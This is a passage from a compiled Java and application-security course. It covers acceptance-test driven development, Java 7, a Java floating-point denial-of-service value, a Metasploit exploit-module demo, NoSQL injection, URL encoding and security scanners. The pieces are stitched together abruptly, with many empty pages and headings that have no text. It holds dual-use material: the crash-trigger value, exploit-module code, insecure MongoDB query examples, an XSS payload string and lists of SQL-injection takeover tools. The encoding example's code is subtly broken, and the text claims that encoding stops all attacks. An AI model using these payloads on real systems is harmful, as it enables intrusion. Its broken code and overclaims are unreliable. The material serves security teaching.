some organizations, QA departments also use automated testing tools such as HP's Quick Test Pro;
but, again, this activity is generally siloed away from the rest of the development activity.
Testing an application after it has been developed has a number of significant drawbacks. Most
importantly, having feedback about problems raised at this late stage of development makes it very
difficult to correct bugs of any size. These results in costly rework, wasted developer time, and
delayed deliveries.
ATDD takes a different approach. Essentially, ATDD involves collaboratively defining and automating
the acceptance tests for upcoming work before it even begins -- a simple inversion that turns out to
be a real game changer. Rather than validating what has been developed at the end of the
development process, ATDD actively pilots the project from the start. Rather than being an activity
reserved to the QA team, ATDD is a collaborative exercise that involves product owners, business
analysts, testers, and developers. And rather than just testing the finished product, ATDD helps to
ensure that all project members understand precisely what needs to be done, even before the
programming starts.
In addition, acceptance tests are no longer cantoned to the end of the project and performed as an
isolated activity. Instead, ATDD tests are automated and fully integrated throughout the
development process. As a result, issues are raised faster and can be fixed more quickly and less
expensively, the workload on QA at the end of the project is greatly reduced, and the team is able to
respond to change faster and more effectively.
ATDD in practice
Let's consider how ATDD typically works in the context of an agile project. As a rule, a software
project aims at delivering end-users with a number of high-level "features" (sometimes called
functionalities or capabilities). A feature is a general value-proposition relating to something the
application can do for the end-user, expressed in terms you might put on a product flyer or press
release: for example, a feature of an online real-estate lease-management application might be
"Manage property repairs."
162 | P a g e
Features are generally too big to implement all at once, so they are broken into smaller, more
manageable chunks. In agile circles, these chunks are often expressed in the form of user stories -- a
short sentence capturing what the user wants from a particular piece of functionality. For example,
user stories for the "Manage property repairs" feature might include "Issue work order" and
"Approve invoice."
A user story cannot stand alone, however; it is merely the promise of a conversation between
developers and users about a particular requirement. The details about what needs to be
implemented will arise from this conversation. It will then be formalized as a set of objective,
demonstrable acceptance criteria. For example, you would need to specify acceptance criteria for
"user can approve an invoice for an amount less than the agreed maximum" and "user cannot
approve an invoice if the price exceeds the agreed maximum."
Acceptance criteria determine when a particular user story is ready to be deployed into production.
But they do much more than record what should be tested at the end of an iteration. Acceptance
criteria are drawn up as a collaborative exercise, at the start of the iteration, with developers,
testers, and product owners involved. As a result, they help ensure that everyone on the team has a
clear vision of what is required. They also help provide clear guidelines for developers as to what
needs to be implemented. (These guidelines are even more effective if the developers doing the
programming are practicing Test Driven Development, or TDD.)
ATDD and TDD
TDD, or Test-Driven Development, is a highly effective development strategy that helps developers
write code more accurately and precisely. The low-level requirements used to drive TDD are directly
derived from the high-level acceptance tests, so the two techniques complement each other:
automated acceptance tests describe the high level business objectives, while TDD helps developers
implement them as requirements.
Note that acceptance criteria are not designed to be exhaustive -- there will be more technical tests
for that. Instead, they are used as much for communication as they are for verification. They take the
form of working examples, which is why ATDD is sometimes referred to as "specification by
example."
Acceptance-test driven development is not just limited to agile projects. Even teams using more
formal and detailed use cases, or more traditional approaches such as the Software Requirements
Specification (or SRS) documents, can benefit from having verifiable, automated acceptance criteria
as early as possible.
Automating your acceptance tests
A key part of acceptance criteria is that they are automated. They are not simply stored in a Word
document or Excel spreadsheet, but are living, executable tests. This is important -- for ATDD to be
effective, the automated acceptance tests need to be run automatically whenever a change is made
163 | P a g e
to the source code. So it is vitally important to have a tool that will integrate smoothly into your build
process, and that can be run on your build server with no human intervention.
Automated acceptance tests not only serve to test the application: they also provide an objective
measurement of progress (in agile projects, working software is considered to be the only true
measure of progress). The tests can also give an idea of the relative complexity of each feature and
story, because a functionality that is long and complicated to test is likely to also be long and
complicated to develop. This in turn can give a useful heads-up to product owners needing to set
priorities.
Although you certainly can write automated acceptance tests using conventional unit testing tools
such as TestNG, there are a number of dedicated ATDD tools. These tools are focused as much on
communication and feedback as they are on testing.
ATDD tools
ATDD is more an approach than a toolset, but there are a number of tools that can make things
easier.
FitNesse is one of the earliest ATDD tools. Using FitNesse, users enter their requirements in tabular
form in a Wiki, and developers write code behind the scenes to run the test data stored in the Wiki
against the actual application. When the tests are executed, the table will be colored according to
whether the tests succeeded or failed. FitNesse is very useful when your acceptance test criteria can
be expressed in terms of tables of data and expected results, although it is also used to express
acceptance tests as a series of steps.
More recently, other tools have emerged that support Behaviour-Driven Development, or BDD. This
technique encourages developers to think in terms of the behaviour of an application, and to express
their low-level technical requirements using a narrative approach. Cucumber is a popular tool from
the Ruby community, that allows you to express your acceptance criteria using the "given-when-
then" structure commonly used in agile projects. It is also easy to use Cucumber with
Java. JBehave uses a similar approach, with stories expressed in text files and tests written using
annotated Java classes. Easyb is a similar tool based on the Groovy language.
Concordion is another more recent ATDD tool. In Concordion, acceptance tests are expressed in the
form of HTML pages containing free-form text and tables. Java classes are then used to analyze
special tags placed in these pages, in order to execute and display the results in HTML form.
All of these tools place a high emphasis on readability and communication. Listing 1 illustrates how
one of the earlier acceptance criteria might be expressed using Easyb:
Listing 1. A user scenario in Easyb
scenario User can approve an invoice for an amount less than the agreed maximum"
{
given "the User has selected an open invoice",
164 | P a g e
and "the User has chosen to approve the invoice",
and "the invoice amount is less than the agreed maximum amount",
when "the User completes the action",
then "the invoice should be successfully approved",
}
Once the acceptance criteria are defined in this way, the corresponding test code can then be
written in more conventional programming languages such as Java, Groovy, and Ruby.
In addition to showcasing Easyb, this code snip shows the communication focus of ATDD tools.
Automated acceptance criteria are expressed in high-level terms that makes sense to business
managers as much as to software engineers and programmers. Most ATDD tools also generate
reports that express the test results in familiar business terms. Tests that have been written in this
way, but with no backing test code, will be marked as "pending." At the start of an iteration, all of
the acceptance criteria will be in this state. As development progresses, the next step will be to
implement them, which is where the actual code that tests the application is written. So these
reports not only tell you what tests pass and fail, they also provide a way to track the progress of
your project, by indicating what work remains to be done.
Taking a slightly broader perspective, automated acceptance tests are like any other automated tests
-- they should be stored in your version control system and executed periodically on your Continuous
Integration server (at least on a nightly basis, but preferably whenever a change is made to the
application source code). Getting fast feedback when acceptance tests fail is essential. You can also
configure your CI server to publish the results of the acceptance tests where they can be easily
consulted by non-developers. Fortunately, modern CI tools such as Jenkins integrate well with
virtually all of the common BDD tools.
Automating acceptance tests for web applications
When it comes to implementing ATDD for a web application, a wide range of open source and
commercial tools are available. Given this wide range, choosing your tool with care is important; it
can mean the difference between a set of automated acceptance tests that is easy to maintain in the
future, and one that quickly becomes unusable due to prohibitive maintenance costs.
Modern automated web testing tools, both commercial and open source, fall into three categories:
 Record/Replay
 Script-based
 Page Objects
Record/Replay tools, such Selenium IDE and JAutomate, let a user step through a web application,
recording the user's actions as a test script. While tempting in its simplicity, this approach is in fact a
poor strategy. The low-level scripts generated by these tools are fragile and hard to maintain. For
165 | P a g e
example, there is no reuse of testing logic between scripts, which makes maintaining the scripts very
costly.
Script-based testing is a slightly more flexible strategy. Tools such as Selenium, Watir, Canoo
WebTest, and the commercial Quick Test Pro fall into this category. Tests are written in a
programming language such as Java, Ruby, or VBScript. However this strategy is still quite low-level,
focusing on the technical details of the web tests rather than the business requirements that they
are testing. It also requires strong discipline and structure to avoid duplication within the scripts.
Again, this tends to make tests more fragile and harder to maintain.
Good automated acceptance tests should be high level, expressed in business terms. They need to
isolate the "what" from the "how." Doing so ensures that, if the implementation details for a
particular screen should change, the changes would only minimally affect the low-level test code,
and not the high-level tests. Ideally, you want to maintain a level of abstraction between what a web
page does in business terms ("Approve an invoice"), and how it does it ("click the invoice in the
invoice list, wait for the details to appear, then click on the Approve button").
The Page Objects pattern, well supported by Selenium 2/WebDriver in particular, is an excellent
choice for ATDD tests. High-level acceptance criteria need to be expressed in high-level business
terms (the "what"), and then implemented under the hood using a set of well-structured,
maintainable page objects. For example, an automated acceptance test will be expressed in business
terms, and implemented as a series of steps. Each step will make use of page objects to interact with
the web application. These levels of abstraction make the acceptance tests considerably more stable
and maintainable.
In conclusion
Defining and automating your acceptance criteria up front makes a lot of sense. Not only does it
provide clear goals for developers, it also gives excellent visibility into what feature are being
implemented, how they will work, and how the project as a whole is progressing. And, as a bonus,
ATDD will also provide you with a broad set of regression tests.
Many open source tools exist to help you implement an ATDD strategy in your project --
see Resources for a listing of the ones discussed in this article. While you can use conventional unit
testing tools for ATDD, dedicated ATDD tools provide a stronger emphasis on communication and
reporting, which are key parts of the ATDD approach. And for web applications, automated testing
tools based on the Page Objects pattern are an excellent choice when it comes to implementing the
tests themselves.
166 | P a g e
Java 7: What's in it for developers
After a long wait and a rough start, Java 7 brings a multitude of improvements for developers.
Key new capability: Support for dynamic languages
A key feature of Java SE 7 is its accommodations for dynamic languages, which are becoming
prominent on the JVM lately, thanks to the emergence of languages such as JRuby and Scala. For
example, the new InvokeDynamic capability supports implementation of dynamically typed,
object-oriented languages. InvokeDynamicbytecode supports "efficient and flexible execution of
method invocations in the absence of static type information," says the Java Specification Request
292, the standards document detailing the capability. Hilwa says dynamic language support is the
most important feature in the Java SE 7 release because it will help expand the Java ecosystem.
Key new capability: Better multicore and parallelism support
A multicore-ready API in the release, from the Fork/Join Framework, lets developers more easily
decompose problems into tasks for parallel execution across multiple processor cores. IDC analyst
Hilwa calls the multicore and parallels capabilities "the most innovative additions" in Java SE 7, and
they will let developers "harness underlying multicore processors better."
Key new capability: Compiler optimizations for developer productivity
Developer productivity also is aided in Java SE 7, via Project Coin, which adds language changes to
simplify common programming tasks and reduce coding. It clarifies syntax and makes the code easier
to read, says Austin User Group chief Ratcliff.
Project Coin's diamond syntax for constructor calls lets the compiler infer type arguments, and the
try-with-resources statement helps the compiler make reliable code by automatically closing files,
sockets, and database connections when developers forget to do this, Ratcliff says: "That's
something that's been tripping up developers -- especially young developers -- for years. That'll be a
good productivity improvement and will reduce bugs."
Key new capabilities: File I/O, graphics, and sound boosts
"I'm particularly a fan of the NIO2 [file-system capabilities]," says Java founder Gosling. The new
NIO2 capabilities provide an interface for working with file systems that can access more file
attributes and offer more information about errors, Oracle's documentation says.
Java advocate Peter Lawrey, author of the Vanilla Java blog, citesSockets Direct Protocol (SDP)
capabilities as important for network file I/O. "SDP is really there to improve support for Infiniband,"
he says. Infiniband is a competitor to iSCSI that has been making some headway in virtualization
environments.
Java SE 7 also features the XRender pipeline for 2D graphics rendering; it runs on top of the X
Window system and can access modern graphics processors.
A new sound engine, called Gervill, enables multiple applications on Linux to play sound using Audio
Synthesis Engine Project MIDI synthesizer.
167 | P a g e
Crash exploit – floating point conversion
The vulnerability is triggered when 2.2250738585072012e-308 is converted to a binary floating number. It can be
exploited to allow unauthenticated network attacks which can “cause a hang or frequently repeatable crash
(complete Denial of Service) of the Java Runtime Environment”. Oracle notes that “Java based application and web
servers are especially at risk from this vulnerability”.
Java Compiler Integration Into the MetaSploit Framework
###
#
# java_hello.rb
#
###
168 | P a g e
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::JAVACOMPILE
def initialize(info = {})
super(update_info(info,
'Name' => 'Java compilation mixin demo',
'Description' => %q{
This module demonstrate the on-the-fly Java compilation mixin for the
Metasploit framework.
},
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Demo', { } ]
],
'DefaultTarget' => 0))
register_options(
[
OptString.new('OUTPUTPATH', [ false, 'Working directory location.',
'./data/exploits/java/']),
], self.class)
end
# randomize classapplet names
@@app1 = Rex::Text::rand_text_alpha(rand(100) + 1)
def on_request_uri(cli, request)
appname = @@app1
169 | P a g e
# "Hello World" Java code
hello = %Q|
import java.awt.*;
import java.applet.Applet;
public class #{appname} extends Applet {
public void paint(Graphics g) {
g.drawString("Hello World", 20, 30);
}
}
|
if (request.uri.match(/.class$/i))
# compile Java code
applet = java_compile(appname,hello)
print_status("Sending applet to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the Java applet to the client
send_response(cli, applet, { 'Content-Type' => 'application/octet-stream' })
# cleaning the working directory
java_clean(appname)
return
end
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
html = %Q|
<html>
<head>
<title>Java compilation mixin demo</title>
</head>
<body>
<applet codebase="#{get_resource + "/"}" code="#{appname + ".class"}"></applet>
</body>
170 | P a g e
</html>
|
# Transmit the HTML page to the client
send_response(cli, html, { 'Content-Type' => 'text/html' })
# Handle the payload (does nothing in this demo)
handler(cli)
end
end
171 | P a g e
172 | P a g e
Escaping the Java Sandbox – Was it ever done?
Forceful browsing and logical DB access through application
http://www.cigital.com/resources/vmovie/forceful_browsing/Forceful_browsing.swf
Avoiding NoSQL-injection with MongoDB
Secure APIs
The most important practice is to as much as possible stick to APIs that don't involve string
concatenation. Many of the database drivers seem to include fluent APIs where query language is
173 | P a g e
reflected in the programming language. The .NET implementation called mongodb-net, has a syntax
like this: coll.FindOne(Where.Field(a => a == 1)); This allows you to develop without thinking about how
the query is actually constructed. The escaping is (hopefully) performed by the framework.
Mathias Stearn also mentioned this API for building safe queries: queryObj.append("b", 2)
Insecure APIs
When using the insecure APIs like: db.myCollection.find("{ $where: 'this.a > " + userinput + "'
}"); or db.foo.find("{ $or : [ { a : 1 } , { b : " + userinput + " } ] }") make sure you pay close attention.
Whenever you do string concatenation, you need to escape the data correctly. MongoDB supports
converting javascript queries to it's native query language expressed in BSON. When using this, there
are two contexts you need to be aware of:
1. Inside a javascript string
2. Elsewhere
Whenever you are concatenating data within a javascript string, make sure you do javascript
escaping using a library like the OWASP ESAPI encoder or the AntiXss library from Microsoft's Web
Protection Library.
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html
The Encoder performs two key functions, encoding and decoding. These
functions rely on a set of codecs that can be found in the
org.owasp.esapi.codecs package. These include:
 CSS Escaping
 HTMLEntity Encoding
 JavaScript Escaping
 MySQL Escaping
 Oracle Escaping
 Percent Encoding (aka URL Encoding)
 Unix Escaping
 VBScript Escaping
174 | P a g e
 Windows Encoding
How to encode a URL string or form parameter in java
Published: April 11, 2009 , Updated: April 10, 2009 , Author: mkyong
print
This is always advice to encode our URL or form parameters; uencoded form parameter is
vulnerability to cross site attack, SQL injection and may direct our web application into some
unpredicted output. A URL String or form parameters can be encoded using the URLEncoder class –
static encode (String s, String enc) method.
For example, when user enters following special characters, and our web application is not handle
encoding, it will open our application to cross site script attack.
175 | P a g e
<![CDATA[ <IMG SRC=" &#14; javascript:document.vulnerable=true;"> ]]>
How to use URLEncoder to encode a string and URLDecoder to
decode the encoded string
package com.fsecure.swp;
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
import java.net.URLEncoder;
public class testEncode{
public static void main(String args[]){
try{
String url = "<![CDATA[ <IMG SRC=" &#14; javascript:document.vulnerable=true;"> ]]>";
String encodedUrl = URLEncoder.encode(url,"UTF-8");
System.out.println("Encoded URL " + encodedUrl);
String decodedUrl = URLDecoder.decode(url,"UTF-8");
System.out.println("Dncoded URL " + decodedUrl);
}catch(UnsupportedEncodingException e){
System.err.println(e);
}
}
}
Result
Encoded URL %3C%21%5BCDATA%5B+%3CIMG+SRC%3D%22+%26%2314%3B+
javascript%3Adocument.vulnerable%3Dtrue%3B%22%3E+%5D%5D%3E
Dncoded URL <![CDATA[ <IMG SRC=" &#14; javascript:document.vulnerable=true;"> ]]>
Please remember always encode the URL string and form parameters to prevent all the vulnerability
attack.
Reference
http://java.sun.com/j2se/1.5.0/docs/api/java/net/URLEncoder.html
176 | P a g e
H2 is a Java SQL database. The main feature are:
Very fast
Open Source
Java
Embedded, Server, and Cluster
Disk and In Memory
Strong security features
177 | P a g e
178 | P a g e
179 | P a g e
180 | P a g e
Talk about diseases of high level languages like eval/preg_e..
181 | P a g e
Most developers won’t do threat modeling in practice, since it makes them feel like they are
182 | P a g e
“playing a game” or “wasting time”
183 | P a g e
184 | P a g e
Combine risks and rank
185 | P a g e
_ Take all of your findings and consider
business impact
_ Rank the findings
_ Come up with solutions
186 | P a g e
187 | P a g e
188 | P a g e
189 | P a g e
190 | P a g e
191 | P a g e
192 | P a g e
193 | P a g e
Security code Scanning
Objectives
Understand different offerings available to find vulnerabilities
Learn pros and cons of those offerings
Know about some open source and commercial scanning tools
Industry Application Security Offerings
Automated
Dynamic web application interface scanning
Static code scanning
Web app firewalls
Intrusion Prevention Systems (IPS)
Manual
Application penetration test
Code review
Automated vs. Manual: Advantages
Advantages of automated solutions
Low incremental cost
Minimal training
194 | P a g e
Potentially 24/7 protection
Advantages of manual solutions
No false positives
Guaranteed code coverage
Ability to identify complex vulnerabilities
Understand business logic
Acts like a determined attacker
Can combine vulnerabilities
What Automated Solutions Miss
Theoretical
Logic flaws (business and application)
Design flaws
Practical
Difficulty interacting with Rich Internet Applications
Complex variants of common attacks (SQL Injection, XSS, etc)
Cross-Site Request Forgery (CSRF)
Uncommon or custom infrastructure
Abstract information leakage
Conducting the Assessment
If you are using automated scanning tools, beware of false positives and negatives
Pattern recognition has limitations
195 | P a g e
Combine various testing methods
 Automated scanning
 Code review
 Manual testing
Learn what tools do and do not do well
Validate every finding
Keep detailed notes
Commercial Dynamic Scanning Tools
Web Inspect – by HP
Rational AppScan – by IBM
Acunetix WVS – by Acunetix
Hailstorm – by Cenzic
NTOSpider – by NT OBJECTives
Open Source and Low Cost Scanners
W3af - http://w3af.sourceforge.net/
Burp Suite - http://portswigger.net/
Grendel Scan - http://grendel-scan.com/
Wapiti - http://wapiti.sourceforge.net/
Arachni - http://zapotek.github.com/arachni/
Skipfish - http://code.google.com/p/skipfish/
Paros - http://www.parosproxy.org/ (Free version no longer maintained)
196 | P a g e
Code Scanning Tools
Fortify – by HP
Rational AppScan Source Edition – by IBM
Coverity Static Analysis – by Coverity
CxSuite – by Checkmarx
Yasca – by OWASP
Veracode binary analysis – Veracode (Veracode uses a different methodology
than other scanners)
Client Side Web Proxies
Paros - http://www.parosproxy.org/ (Free version no longer maintained)
Burp Suite - http://portswigger.net/
WebScarab NG -
https://www.owasp.org/index.php/OWASP_WebScarab_NG_Project
Charles Proxy - www.charlesproxy.com/
Browser Plugins:
Internet Explorer: Fiddler
Firefox: Tamper Data
197 | P a g e
Paros Proxy
198 | P a g e
199 | P a g e
W3af - Web application attack and audit framework
200 | P a g e
201 | P a g e
202 | P a g e
203 | P a g e
204 | P a g e
IBM Rational App Scan
205 | P a g e
206 | P a g e
207 | P a g e
208 | P a g e
209 | P a g e
210 | P a g e
HP Web Inspect
211 | P a g e
212 | P a g e
213 | P a g e
214 | P a g e
215 | P a g e
Summary
Over 90% of ecommerce PCI breaches are from
application flaws
Application security is not a percentage game.
One missed flaw is all it takes
Vulnerabilities can come from more than one avenue:
Acquisitions
Old or dead code
Third-party libraries
216 | P a g e
Analyzing the Effectiveness and Coverage of Web Application
Security Scanners
Abstract
This paper summarizes my study of web application scanners and attempt to quantify
their
effectiveness. This study utilizes a novel methodology I've developed to objectively test
the three
leading web application vulnerability assessment tools. So far as the author knows, this
is the first
publicly published study that statistically evaluates application coverage and
vulnerability findings
by these tools.
The study centered around testing the effectiveness of the top three web application
scanners in
the following 4 areas.
1. Links crawled
2. Coverage of the applications tested using Fortify Tracer
3. Number of verified vulnerability findings
4. Number of false positives
One of the most surprising result is the discrepancy in coverage and vulnerability
findings between
the three tools. Lesser known NTOSpider excelled in every category, and the
vulnerability findings
show AppScan missed 88% and WebInspect missed 95% of the legitimate vulnerabilities
found by
NTOSpider.
Introduction
Testing the capabilities of web application scanners is an ongoing challenge that can be
approached in a number of ways; the challenge is to create an objective test that is
precise and
can be replicated. While previous studies have tested web vulnerability assessment
tools, none
has statistically tested coverage or vulnerability findings in a precise manner. In this
paper I take an
approach that allows the data to be quantifiable to distinguish effectiveness (in terms of
finding
vulnerabilities) between the scanning tools.
To do this I employed Fortify's Tracer product which inserts its hooks into actual
production J2EE
217 | P a g e
applications to enable measuring the “application security coverage” and then running
each of the
three top commercial security scanners against the application. This allowed for actual
analysis of
how much of an application's code base was actually executed during a scan which
enabled me to
look at the scanners in a new and quantifiable way.
Summary
The full results of the testing are going to be analyzed in further detail later in the
report, but I would
like to start off with some of the conclusions first.
When looking at the results there are a number of ways to look at the data. There are
difficulties
around analysis of the overall percentages of the "possible" surface/sink coverage
because it is
hard to determine what subset of the full list is applicable to what a web scanner is
expected to test
(excluding optional features not enabled, alternative database drivers, import/export
data features,
etc). For this reason, the numbers become unusable and I decided to remained focused
on
understanding the capabilities of the web application scanners against each other.
I started by comparing the results of the scanners against each other in the first two
categories. Its
interesting to see that the number of links crawled does not always indicate that more
of the
applications code base is being executed.
218 | P a g e
It is important that the scanner is able to crawl well, but wasting time on redundant
inputs only adds
to the crawled links, but does not increase coverage of the applications code base. In
our tests, NT
OBJECTives' NTOSpider product crawled the most links on average, and had the best
coverage in
all scans; SpiDynamic's WebInspect was able to crawl better than WatchFire's AppScan
on one
219 | P a g e
application, but AppScan did slightly better when I looked at the code base it executed.
This means
that WebInspect wasted time on redundant or otherwise unimportant links.
For this study I focused on verifying the findings found by the scanners for accuracy.
Again the
lesser known NTOSpider from NT OBJECTives had the most findings, lower false
positives and
most usable reports to aid in remediation.
Methods
Methodology
220 | P a g e
The basic idea of the Tracer tool is to place code into the application that will be able to
analyze the
web application scanner as it accesses security critical areas of the application. Code can
be
placed manually into the application source as it is built and turned on and off as testing
takes
place. This is more difficult and time consuming and requires access to the source code
and thus
the technique most often used is byte code injection which only requires access to the
compiled
byte code.
Software that uses bytecode in its operation (Java/.Net) can leverage techniques that
come from
the code coverage world such as instrumentation(byte code injection) in which code is
inserted
during build time or at run time using a custom class loader. Instrumentation adds the
new code to
the compiled code and thus the source is not necessary. Tracer employs byte code
inserted
statically into the compiled application byte code.
Testing
Each scanner was run in default mode and not tuned in any capacity to the application.
The
importance of this lies in how effective the default mode so that scalability of scanning
is not limited
by manual intervention and setup procedures which can be very time consuming.
Second, in most
cases it is simply unrealistic to spend much time with many applications.
Each scanner was provided a basic username and password similar to what a basic user
would
receive.
There were issues logging into some of the applications but calls to technical support
quickly
solved these problems.
The Tracer application was configured to monitor each web scanner as it executed its
tests. After
completing each test run, the results were saved and the monitoring tool was reset for
the next
scanner.
All vulnerability findings were hand vetted to determine if they were true findings or
false positives.
221 | P a g e
Detailed Results
The following section reports the results of the tests. The analysis for this study was
focused on 1)
determining how well the scanners covered security sensitive sections of code within an
application
under test, 2) number of true vulnerability findings and 3) number of false positives. This
study did
not hand vet the applications to determine if there were any false negatives beyond
those in the set
discovered by any tool.
A set of security sensitive coverage categories were selected from the result set and the
presented
in the following tables:
222 | P a g e
The three applications chosen have increasing level of complexity and size. The three
scanners all
did a reasonable job on the smaller, first application. The second application resulted in
some false
positives for Appscan and WebInspect.
The results for the last application are notable in that both AppScan and WebInspect
severely
underperformed NTOSpider in all three key areas of the test: 1) application coverage, 2)
vulnerability findings and 3) avoidance of false positives. The fact that these results were
most
evident only in the most complex of these applications may indicate that for security
groups to
adequately test scanners, they need to use more complex applications. It is not
surprising that
smaller, less complex applications show less difference between the tools. One would
expect fewer
true findings and less complexity in crawling the applications.
In the aggregate, NTOSpider crawled 328% more links than AppScan and 72% more links
than
WebInspect; NTOspider covered 24% more of the total APIs than AppScan and 30%
more than
WebInspect. NTOSpider found 227 total vulnerabilities versus 27 for AppScan and 12 for
WebInspect. None of the findings by AppScan or WebInspect were missed by NTOSpider
and
AppScan missed 88% and WebInspect missed 95% of the legitimate vulnerabilities found
by
NTOSpider. NTOSpider had a 0% false positive rate. Appscan had 5 false positives and a
16%
false positive rate. WebInspect had 12 false positives and a 52% false positive rate.
The false positive findings were of interest because some appeared to be caused by
custom 404
error handling routines in the web application, and some simply were based on faulty
assumptions.
In addition the areas that coverage tool reported as missed were analyzed to determine
if there
were any security critical sections and also to try and to determine whether it would
actually be
possible for http based requests to access that portion of the application.
Conclusion
The most surprising result is the discrepancy in the number of vulnerability findings
between the
223 | P a g e
three tools. AppScan and WebInpsect are market share leaders in the space and their
companies
were both recently purchased by large, sophisticated technology companies (AppScan
by IBM and
WebInspect by HP). While security professionals testing small, highly secure, simple
applications
may achieve acceptable results from AppScan and WebInpsect, these results indicate
that they
may have some concern with relying on the results of these tools for larger applications.
The
relatively large number of false positives, particularly for WebInspect, is also a matter of
some
concern. False positives can be difficult for all but the most experienced security
professional to
identify. If they are not identified, they can cause difficulties by weakening the
credibility of the
security team with application developers. Additionally, vetting false positives by hand,
even by
experienced security professionals is a very time intensive process that will increase the
cost of the
program. While WebInspect has certain tools to reduce false positives, it would appear
that this
remedy is not necessary if using NTOSpider (and to a lesser extent AppScan). In any
case,
training the tool to reduce false positives will need to be done by experienced personnel
and will
increase program costs.
Source Code Analysis Tools
Source Code Analysis tools are designed to analyze source code and/or compiled version of code
in order to help find security flaws. Ideally, such tools would automatically find security flaws
with a high degree of confidence that what is found is indeed a flaw. However, this is beyond
the state of the art for many types of application security flaws. Thus, such tools frequently
serve as aids for an analyst to help them zero in on security relevant portions of code so they
can find flaws more efficiently, rather than a tool that simply finds flaws automatically.
Some tools are starting to move into the IDE. For the types of problems that can be detected
during the software development phase itself, this is a powerful phase within the development
lifecycle to employ such tools, as it provides immediate feedback to the developer on issues
224 | P a g e
they might be introducing into the code during code development itself. This immediate
feedback is very useful as compared to finding vulnerabilities much later in the development
cycle.
Strengths and Weaknesses of such tools:
 Strengths
 Scales Well (Can be run on lots of software, and can be repeatedly (like in nightly
builds))
 For things that such tools can automatically find with high confidence, such as buffer
overflows, SQL Injection Flaws, etc. they are great.
Weaknesses
 Many types of security vulnerabilities are very difficult to find automatically, such as
authentication problems, access control issues, insecure use of cryptography, etc. The
current state of the art only allows such tools to automatically find a relatively small
percentage of application security flaws. Tools of this type are getting better, however.
 High numbers of false positives.
 Frequently can't find configuration issues, since they are not represented in the code.
 Difficult to 'prove' that an identified security issue is an actual vulnerability.
 Many of these tools have difficulty analyzing code that can't be compiled. Analysts
frequently can't compile code because they don't have the right libraries, all the
compilation instructions, all the code, etc.
Important Selection Criteria
 Requirement: Must support your language, but not usually a key factor once it does.
 Types of Vulnerabilities it can detect (Out of the OWASP Top Ten?) (plus more?)
 Does it require a fully buildable set of source?
 Can it run against binaries instead of source?
 Can it be integrated into the developer's IDE?
 License cost for the tool. (Some are sold per user, per org, per app, per line of code
analyzed. Consulting licenses are frequently different than end user licenses.)
OWASP Tools of This Type
 OWASP Orizon Project
 OWASP LAPSE Project
225 | P a g e
 OWASP O2 Platform
Open Source or Free Tools Of This Type
 FindBugs - Find Bugs (including some security flaws) in Java Programs
 FxCop (Microsoft) - FxCop is an application that analyzes managed code assemblies
(code that targets the .NET Framework common language runtime) and reports
information about the assemblies, such as possible design, localization, performance,
and security improvements.
 PMD - PMD scans Java source code and looks for potential code problems (this is a code
quality tool that does not focus on security issues)
 PreFast (Microsoft) - PREfast is a static analysis tool that identifies defects in C/C++
programs
 RATS (Fortify) - Scans C, C++, Perl, PHP and Python source code for security problems
like buffer overflows and TOCTOU (Time Of Check, Time Of Use) race conditions
 SWAAT - Simplistic Beta Tool - Languages: Java, JSP, ASP .Net, and PHP
 Flawfinder Flawfinder - Scans C and C++
 RIPS - RIPS is a static source code analyzer for vulnerabilities in PHP web applications
Commercial Tools from OWASP Members Of This Type
These vendors have decided to support OWASP by becoming members. OWASP appreciates the
support from these organizations, but cannot endorse any commercial products or services.
 Static Source Code Analysis with CodeSecure™ (Armorize Technologies)
 Static Source Code Analysis with hypersource (art of defence)
 Source Code Analysis (HP/Fortify)
 Veracode (Veracode)
Other Well Known Commercial Tools Of This Type
 CxSuite (Checkmarx)
 Prevent (Coverity)
 IBM Rational AppScan Developer (formerly Ounce)
 Insight (KlocWork)
 Armorize
 Fortify
226 | P a g e
Or perhaps a free or open-source equivalent such as:
 CAT.NET
 FindBugs
 Klocwork Solo
 Armorize demo
 Fotify Teamserver demo (or the Audit Workbench that comes with the book)
 OWASP O2 (Ounce Open)
227 | P a g e
Open Source Black Box Testing tools
General Testing
 OWASP WebScarab
 OWASP CAL9000
 CAL9000 is a collection of browser-based tools that enable more effective and efficient
manual testing efforts.
o Includes an XSS Attack Library, Character Encoder/Decoder, HTTP Request
Generator and Response Evaluator, Testing Checklist, Automated Attack Editor
and much more.
 OWASP Pantera Web Assessment Studio Project
 SPIKE - http://www.immunitysec.com
 Paros - http://www.parosproxy.org
 Burp Proxy - http://www.portswigger.net
 Achilles Proxy - http://www.mavensecurity.com/achilles
 Odysseus Proxy - http://www.wastelands.gen.nz/odysseus/
 Webstretch Proxy - http://sourceforge.net/projects/webstretch
 Firefox LiveHTTPHeaders, Tamper Data and Developer Tools - http://www.mozdev.org
 Grendel-Scan - http://www.grendel-scan.com
 OWASP SWFIntruder
 http://www.mindedsecurity.com/swfintruder.html
Testing for specific vulnerabilities
 Testing AJAX
 OWASP Sprajax Project
 Testing for SQL Injection
 OWASP SQLiX
 Sqlninja: a SQL Server Injection & Takeover Tool -
http://sqlninja.sourceforge.net
 Bernardo Damele A. G.: sqlmap, automatic SQL injection tool -
http://sqlmap.sourceforge.net
 Absinthe 1.1 (formerly SQLSqueal) - http://www.0x90.org/releases/absinthe/
 SQLInjector - http://www.databasesecurity.com/sql-injector.htm
 bsqlbf-1.2-th - http://www.514.es
228 | P a g e
 Testing Oracle
 TNS Listener tool (Perl) -
http://www.jammed.com/%7Ejwa/hacks/security/tnscmd/tnscmd-doc.html
